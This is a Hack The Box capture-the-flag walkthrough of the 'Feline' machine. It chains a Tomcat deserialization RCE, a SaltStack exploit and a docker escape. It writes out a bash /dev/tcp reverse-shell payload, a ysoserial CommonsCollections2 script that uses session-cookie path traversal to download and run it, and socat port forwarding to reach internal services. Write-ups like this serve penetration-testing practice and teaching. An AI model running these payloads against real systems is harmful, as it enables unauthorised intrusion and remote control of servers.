Hack The Box - Feline Walkthrough without Metasploit

Linux Hard Box where we will face Java deserialization, salt attack, port forwarding and docker environments, a really nice trip that starts with some Enumeration, lets start!

Enumeration

Let's run our NmapAutomator script for a first recon:

NmapAutomator.sh 10.10.10.205 All

Ports

We have two ports open: 22 and 8080. Let's take a look at the http port.

22

This is the SSH (Secure Shell) port, we might be able to use it later to log in if we find any valid username and its password or its rsa key.

8080

We have a http port open, on port 8080 we have an Apache Tomcat 9.0.27 running, lets run gobuster.

On index.html we didn't find much, but on service we found this:

Apparently, we can upload a sample to get tested. So far, we know we can upload files and that Apache Tomcat is version 9.0.27.

With some quick google search about the Apache version we found this:

It seems that Apache Tomcat 9.x < 9.0.35 is vulnerable to some RCE by deserialization. This was also told by NmapAutomator script when running Vuln scan on basic ports:

Let's see if meets the criteria, we can upload files, but we do not know where they are being uploaded to, so we intercept a request trying to upload a php reverse shell:

Send it to repeater and let's play with it a bit:

If we do not modify it, it uploads correctly (doesn't get us a shell though) so let's try to upload different files, we tried several files and all seemed to upload but when we try to upload an application (in this case an elf binary):

This tells us a great deal; it first reveals the path on where it is being upload the file: /opt/tomcat/temp/upload...tmp

It also shows a java.io.FileNotFoundException

Exploitation

The possible attack spoke about a deserialization RCE condition, Ysoserial comes to mind:

Foothold

We download the latest jar from JitPack and here is where it gets interesting, I have made a couple of scripts to automate all the process:

First, we create our payload (we will call it evil.sh):

#!/bin/bash
bash -i >& /dev/tcp/<IP>/<Port> 0>&1

Now the ysoserial part, its divided in three parts:

  1. We create a deseralizated java object that will call our evil.sh and place it somewhere safe evil.session

    1. Make a Curl sending the object (-F as image image=@evil.session)

    2. A second Curl calling the object

  2. Make another deseralizated java object that will chmod our evil.sh, making sure we can run it allowevil.session

    1. Make a Curl sending the object

    2. A second Curl calling the object

  3. Finally, we make a deseralizated java object that will execute it execevil.session

    1. Make a Curl sending the object

    2. A second Curl calling the object

#!/bin/bash
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "curl <IP>/evil.sh -o /tmp/evil.sh" > evil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/evil' -F 'image=@evil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/evil'

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "chmod 777 /tmp/evil.sh" > allowevil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/allowevil' -F 'image=@allowevil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/allowevil'

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2  "bash /tmp/evil.sh" > execevil.session
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/execevil' -F 'image=@execevil.session'
curl 'http://10.10.10.205:8080/upload.jsp' -H 'Cookie: JSESSIONID=../../../../../opt/samples/uploads/execevil'

Start a python http server on port 80 where our evil.sh is placed:

python -m SimpleHTTPServer

Prepare a netcat listener and run the script:

We execute our script and it grabs the evil payload from our server and execute it granting us access to the box, we are in as tomcat, we can upgrade our shell with python:

We can grab our user flag as the user is Tomcat.

Internal Enumeration

Let's send over our linpeas.sh and run it:

With this enumeration we saw something interesting:

It seems to be a Docker container but we are not actually on it

Active Ports:

We have two interesting ports listening on localhost 4505 & 4506 which belongs to Salt Communication.

Some information about Salt Communication:

Further investigating SaltStack we found it can be vulnerable: https://gist.github.com/SwitHak/8e7fa45b5656c691ddf13c8c47e8fda6

And found a possible PoC to exploit given vulnerability:

With that in mind let's start our attack.

Port Forwarding

First things first, let's redirect port 4506 to port 4556 so it can be accessed from our machine. We will use Socat

We send the socat binary to our victims' box, give it execution permissions and start a port forwarding, in order to do that we will need to follow these steps:

  • Send socat binary to the victim and give execution permissions and start the port forwarding, sending it to the background with & so we still can use that shell:

wget <IP>/socat
chmod +x socat
./socat TCP-LISTEN:<outbound-port>,fork,reuseaddr TCP:127.0.0.1:<port> &
  • Now we can access the victims port 4506 on his port 4556

Exploitation

Let's try to use our PoC now, first we need to install salt python module:

pip install salt

Now we execute the python script with the following arguments:

python3 exploit.py --master 10.10.10.205 --port <Forwarded-Port> --exec 'bash -c "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1"'

It worked and we are root! But wait... the hostname is different

We are on the docker container... we are not done yet.

Privilege Escalation

If we go to /usr/bin in our Tomcat shell we will be able to see the docker binary:

Since now we have a root shell on the docker container, we can retrieve it from Tomcat shell and mount it in order to be able to escalate privileges, we have python3 installed so we can start a server with it:

Now we try to retrieve that docker container from our root shell:

We can mount it now:

Remember that you need a TTY so if you haven't spawned a TTY shell, you can use python in order to do so and then mount the container.

Pwnd

In order to get the root flag, we have to go to /mnt which is where we have mounted our docker container and from there to /root

Last updated